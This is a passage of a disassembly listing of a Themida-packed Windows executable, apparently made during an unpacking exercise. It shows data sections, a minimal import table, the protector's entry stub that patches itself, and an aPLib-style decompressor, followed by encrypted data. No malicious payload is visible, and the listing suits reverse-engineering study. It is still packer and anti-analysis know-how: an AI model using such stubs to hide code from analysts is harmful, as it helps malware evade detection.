___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dword_4DE000 dd 400h dup(0) ; DATA XREF: Themida_:0053E9DCo _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 486F38A9h, 4B332h, 540A1h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053C7BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053FB14 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053FD8A SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0053FDE3 SIZE 0000000D BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53C7BF mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53C7BF ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1523350h, 7122FFBEh, 38FF0EE1h, 0F9AE4701h, 36A39837h dd 0BFA00356h, 0B8012AA4h, 3F848B98h, 3C613AAh, 0A3FA588Ah dd 8D037024h, 1D22F977h, 0A5D737C2h, 17E1897h, 6D656854h dd 0C2616469h, 0FC75019Dh, 15C29245h, 1721F957h, 30785708h dd 312D3834h, 0C8AFAB42h, 0EA43B811h, 736552F0h, 7261741Ch dd 2F7041CEh, 9C784F2Eh, 35917523h, 90FF8F70h, 5508F733h dd 8F0170FEh, 0C58B70FFh, 6038D4E4h, 5D44E8h, 335FED81h dd 95890607h, 0D133D31h, 21EAC1B5h, 294585h, 41E9BD83h dd 0C74C010h, 17E88B39h, 2D23B8E2h, 3870DEC2h, 3EE22444h dd 6A002F95h, 0C1A3E845h, 749A6829h, 0DFD2F783h, 4B250A80h dd 0D5F40A89h, 5214E988h, 80BEEC02h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 56h fsubr st, st(6) add bl, [edx-7Fh] jmp far ptr 0C7DAh:8B00344Dh ; --------------------------------------------------------------------------- dw 4845h dd 0ED808D8h, 8C78940h, 80E67D81h, 0F74331Dh, 83F90820h dd 0FF1024B7h, 0EB4312C3h, 0DC361BE1h, 0C9A02661h, 46A004C2h dd 7C34C481h, 497202FFh, 458D2096h, 5D0A8B80h, 1985C708h dd 8D505022h, 0C305D10Ah, 89411888h, 0BD810B45h, 145D0610h dd 0A127E375h, 6447BA8Dh, 8A807560h, 0F4BB240Eh, 0ABB8805Bh dd 0D3785437h, 0F61D07Eh, 0F7754B08h, 29C3AFD8h, 234A4647h dd 42F91546h, 8A61D115h, 0F03AD0D0h, 45EEC5FEh, 0EB4D05FCh dd 46AD1E04h, 403E8046h, 84BAF729h, 7D3034B7h, 0C87FEB0Ch dd 6D66F83Eh, 65F04212h, 1040F40Eh, 0F065C14Ah, 0F8D6A004h dd 3E01CD1h, 3328B0C2h, 1C0E8ADBh, 66FB8030h, 1E0A0A72h dd 9F057739h, 223379EBh, 0DFB6114h, 0B7660A3Fh, 0A7AF1E08h dd 10560AC3h, 7241181Ah, 77460A0Bh, 5124066Fh, 0F05D010Ch dd 8339F4ECh, 72028D7Dh, 0C09B0CB0h, 0AAB3A576h, 0E7F82620h dd 0B58D03h, 0FC553BA8h, 7854820Fh, 0AAE0B0BDh, 0BA2838DFh dd 0B9700870h, 0BDFC7054h, 35DC20h, 49470FFEh, 22B9FA75h dd 0BBEE6AE2h, 0F1FA0171h, 0CEB8237h, 868EC08Eh, 1C0837E1h dd 1B655107h, 72FF1D36h, 785268Ah, 590500E9h, 8D10DA8Ch dd 0F6130267h, 190F8873h, 0B0AEA0Fh, 7FBFEC51h, 0B341F900h dd 0C32CB6BEh, 3054FE6Bh, 212704E9h, 8AE4C45Ch, 5255D06h dd 60084582h, 5444211Bh, 0F80014C4h, 0D72D0C5Fh, 0CCE08C6Dh dd 67FEF19Ch, 40B8BC1Eh, 1034CBCCh, 4E390382h, 100F765Bh dd 43D51F0h, 3B76D17Ch, 75584661h, 11D52E09h, 0EC480E80h dd 69065E4h, 0C58475A0h, 968E050Ah, 539192F4h, 51C204E1h dd 9B718C29h, 760EE7CEh, 2BFF61A8h, 80047781h, 0C1341D22h dd 3233F984h, 3FBC2075h, 0CD0AEE0Eh, 0B50130EFh, 8CC4EC41h dd 0FFCCCF7Fh, 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch dd 0B142AA82h, 845AAB66h, 56531384h, 825E05F8h, 8154FFEEh dd 7DBD2219h, 13B9518Ah, 94972302h, 67610043h, 623734BAh dd 0D478F081h, 7DA8D24h, 5E875611h, 6D8A22C4h, 46101531h dd 3009C456h, 18D98C67h, 1B3536h, 7DFA8BF5h, 8153DE3Eh dd 305E23Ch, 8610CA0Bh, 0EA2B1830h, 469A0B0Eh, 0F22FFC00h dd 9488ACFEh, 5AE70119h, 0BE86C823h, 73E6A91Ah, 38A1006h dd 0B6B40C0Dh, 820F2AEAh, 0E21FE405h, 1D275D19h, 9E98CF8h dd 0A500180Bh, 0B6A686F1h, 5210038Ch, 0BC029582h, 7FBEC535h dd 9E868640h, 104686FBh, 2012DFC0h, 0E9300E9Ah, 3F42350Bh dd 6EBD0022h, 0F5E62371h, 0BF006790h, 0F960C26Dh, 6427C882h dd 4013F96Ah, 66DBE22Ch, 60BC00CCh, 32D73C54h, 87029064h dd 0E2AC8834h, 825F8169h, 2CC8BECBh, 8C5C1C7Ah, 1B0D92C4h dd 0F2F80C55h, 491A6B95h, 400EFA66h, 0C83EF38Ch, 4B00F420h dd 0BB24395Eh, 31AEFEF5h, 8B428A27h, 0C32681E6h, 5305EC84h dd 40065250h, 2C8D01CAh, 0F01CAE27h, 8961E0ACh, 203E7700h dd 825B6E8Eh, 846AF3FCh, 11F2084Bh, 0E706A3A8h, 1DEAC70Fh dd 14C00115h, 0BAA81E63h, 0E7883067h, 21B297FEh, 0EFFEF300h dd 0C1853C0Ah, 8D90011h, 3DD7C509h, 7C00834Fh, 664D96D5h dd 14B132h, 0BB94561Eh, 46CA8C61h, 498E3401h, 415B7583h dd 10483187h, 1C184C7Ah, 0AA21B60Ch, 0E04106Eh, 246F68BEh dd 5ACA8E60h, 0E6E0A485h, 0A130E4E8h, 18494088h, 0C88A1871h dd 0EAAC70D3h, 118BD900h, 0CA0ECD8Eh, 3EE40343h, 4F19E90h dd 3AD1000h, 0CDC2F644h, 4D500067h, 0BD1C8956h, 4002F88h dd 26AB13AAh, 60A1856Ah, 0C8F698Eh, 0EC005A40h, 5FD4F38Bh dd 4E85C9Ah, 0FFB950C5h, 66D3C788h, 9F1C88D5h, 0CA872390h dd 0C77F8F6Eh, 60CF83A6h, 70BD3274h, 9E8C000Ah, 2CF00848h dd 0C9007EB8h, 0A5F1AA83h, 0FF2B1D7h, 0B3A649Ah, 0F600DD0Fh dd 0C7E451Bh, 61110C1h, 1883DE22h, 0FB33C6A4h, 50C38A6h dd 101236EDh, 19456040h, 0CEE274ECh, 0D42B3D00h, 0D9A8B6F2h dd 0A10E00C2h, 3171E79Fh, 1100FFB0h, 0D870465Bh, 1E1745D5h dd 304310EEh, 0FEAAD769h, 0F6088h, 4DE86404h, 884FCC31h dd 84BDFF07h, 0FEC0C926h, 1E660A6h, 0B7DE896Ch, 0BBECEDEEh dd 0AB17A849h, 82581E00h, 0FDB38D26h, 0B4B801A6h, 0AAF3886Ah dd 0FE698009h, 0C96913Ah, 57EB0021h, 72CB5D38h, 401B99Fh dd 0C72DB007h, 3183FD35h, 5A31EE83h, 0BD803Bh, 5593A8F3h dd 8BC3BB1Fh, 2E71AED8h, 0B42D4C00h, 264209C6h, 0E9E21D69h dd 0C22B407Eh, 4B395402h, 0E452A0A8h, 0F7B83Dh, 1F2C28BFh dd 6D41B59h, 0B5270455h, 5A1F704Eh, 4D057371h, 0D4050926h dd 8C053AB4h, 0EC408550h, 6E4C9BF6h, 3BCC80FEh, 82888C50h dd 0CE59DB0Fh, 498140Ch, 50B8645Bh, 0F3985C6h, 0CC95EAE9h dd 75FABE81h, 80CAEC2Dh, 0B8707D7Dh, 0A245730Ch, 0C195826h dd 43310F24h, 0ABFE2199h, 17F75305h, 8440C8BBh, 0C0F9A30Eh dd 0E56FC61h, 0FA995B9Ch, 46558DE0h, 2515D30Ch, 0D8881Fh dd 2CFE78C5h, 89B805EFh, 0FBAAD4CEh, 751B80C1h, 0EE002B7Eh dd 29201724h, 0D4D27D5Eh, 8BC02049h, 0E311390Fh, 50F64E06h dd 1E9A884h, 5CA15B46h, 24B7529Dh, 0B0184A3Ch, 0F968D032h dd 